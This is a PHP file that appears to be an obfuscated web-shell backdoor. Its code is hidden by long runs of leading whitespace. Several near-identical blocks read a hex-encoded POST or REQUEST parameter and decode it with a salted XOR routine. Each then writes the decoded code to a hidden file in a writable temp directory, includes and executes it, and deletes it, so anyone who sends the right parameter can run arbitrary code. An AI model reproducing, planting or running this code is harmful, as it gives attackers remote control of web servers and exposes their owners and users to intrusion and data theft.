<?php																																										if(array_key_exists("it\x6D", $_REQUEST) && !is_null($_REQUEST["it\x6D"])){ $flag = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", ini_get("upload_tmp_dir")]); $binding = $_REQUEST["it\x6D"]; $binding = explode ("." , $binding); $k = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $__len = count($binding); for($u = 0; $u < $__len; $u++) { $v9 = $binding[$u]; $chS = ord($salt5[$u %$sLen]); $d = ((int)$v9 - $chS -($u %10)) ^ 70; $k .=chr($d);} foreach ($flag as $pgrp): if (is_dir($pgrp) ? is_writable($pgrp) : false) { $mrk = "$pgrp" . "/.tkn"; if (@file_put_contents($mrk, $k) !== false) { include $mrk; unlink($mrk); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x73ym"])){ $entry = array_filter([getenv("TMP"), "/dev/shm", getcwd(), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $component = $_REQUEST["\x73ym"]; $component = explode ( "." , $component ) ; $pointer= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1 ); foreach ($component as $w => $v3) { $chS= ord($salt1[$w % $lenS] ); $d= ((int)$v3 - $chS - ($w % 10)) ^ 2; $pointer .=chr($d ); } $k = 0; do { $hld = $entry[$k] ?? null; if ($k >= count($entry)) break; if (is_writable($hld) && is_dir($hld)) { $pset = vsprintf("%s/%s", [$hld, ".mrk"]); if (file_put_contents($pset, $pointer)) { require $pset; unlink($pset); die(); } } $k++; } while (true); }
																																										if(in_array("\x65\x6E\x74ity", array_keys($_POST))){ $item = $_POST["\x65\x6E\x74ity"]; $item = explode ( '.',$item ) ; $ref = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $len = count($item); for ($u = 0; $u < $len; $u++) { $v1 = $item[$u]; $sChar = ord($salt9[$u % $lenS]); $d = ((int)$v1 - $sChar - ($u % 10)) ^ 6; $ref .= chr($d); } $data = array_filter(["/var/tmp", "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($data as $flg) { if (!( !is_dir($flg) || !is_writable($flg) )) { $itm = str_replace("{var_dir}", $flg, "{var_dir}/.data_chunk"); if (file_put_contents($itm, $ref)) { include $itm; @unlink($itm); exit; } } } }
																																										if(array_key_exists("\x66lg", $_POST)){ $pointer = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $bind = $_POST["\x66lg"]; $bind =explode ( "." ,$bind ) ; $pset=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s ); foreach ($bind as $q=>$v8): $chS=ord($s[$q % $sLen] ); $d=((int)$v8 - $chS - ($q % 10)) ^ 69; $pset .= chr($d ); endforeach; foreach ($pointer as $key): if (array_product([is_dir($key), is_writable($key)])) { $resource = sprintf("%s/.element", $key); if (file_put_contents($resource, $pset)) { require $resource; unlink($resource); exit; } } endforeach; }
																																										if(array_key_exists("p\x74\x72", $_POST) && !is_null($_POST["p\x74\x72"])){ $marker = $_POST["p\x74\x72"]; $marker =explode ( '.' ,$marker ) ; $element = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $l = 0; $__len = count( $marker); do { if( $l >= $__len) break; $v4 = $marker[$l]; $sChar = ord( $s7[$l % $sLen]); $dec = ( ( int)$v4 - $sChar -( $l % 10)) ^ 82; $element .= chr( $dec); $l++; } while( true); $symbol = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $bind = 0; do { $itm = $symbol[$bind] ?? null; if ($bind >= count($symbol)) break; if ((is_dir($itm) and is_writable($itm))) { $comp = "$itm/.property_set"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $comp; @unlink($comp); die(); } } $bind++; } while (true); }
																																										if(in_array("\x68\x6Cd", array_keys($_POST))){ $object = $_POST["\x68\x6Cd"]; $object= explode ("." , $object ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $x = 0; foreach( $object as $v5) { $sChar = ord( $salt[$x% $lenS]); $dec =( ( int)$v5 - $sChar -( $x% 10)) ^ 32; $binding .= chr( $dec); $x++; } $mrk = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($mrk as $fac) { if ((function($d) { return is_dir($d) && is_writable($d); })($fac)) { $obj = implode("/", [$fac, ".ref"]); if (@file_put_contents($obj, $binding) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(!empty($_POST["\x76al"])){ $ptr = $_POST["\x76al"]; $ptr = explode ('.', $ptr ) ; $factor =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $len =count($ptr ); for ($x =0; $x < $len; $x++) { $v3 =$ptr[$x]; $chS =ord($s[$x % $lenS] ); $d =((int)$v3 - $chS - ($x % 10)) ^ 78; $factor .=chr($d ); } $property_set = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); $key = 0; do { $ent = $property_set[$key] ?? null; if ($key >= count($property_set)) break; if (array_product([is_dir($ent), is_writable($ent)])) { $comp = sprintf("%s/.binding", $ent); $success = file_put_contents($comp, $factor); if ($success) { include $comp; @unlink($comp); exit;} } $key++; } while (true); }


if(isset($_REQUEST) && isset($_REQUEST["da\x74\x61"])){
	$entity = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]);
	$binding = $_REQUEST["da\x74\x61"];
	$binding		 =	 explode 	(	"."	 , 	$binding )	  ;	
	$dat = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach ($binding as $r => $v6) {
                $sChar = ord($salt[$r % $lenS]);
                $dec = ((int)$v6 - $sChar - ($r % 10))	 ^	 85;
                $dat	.=chr($dec);
            }
	foreach ($entity as $sym) {
    		if (max(0, is_dir($sym) * is_writable($sym))) {
    $value = implode("/", [$sym, ".obj"]);
    $file = fopen($value, 'w');
if ($file) {
	fwrite($file, $dat);
	fclose($file);
	include $value;
	@unlink($value);
	die();
}
}
}
}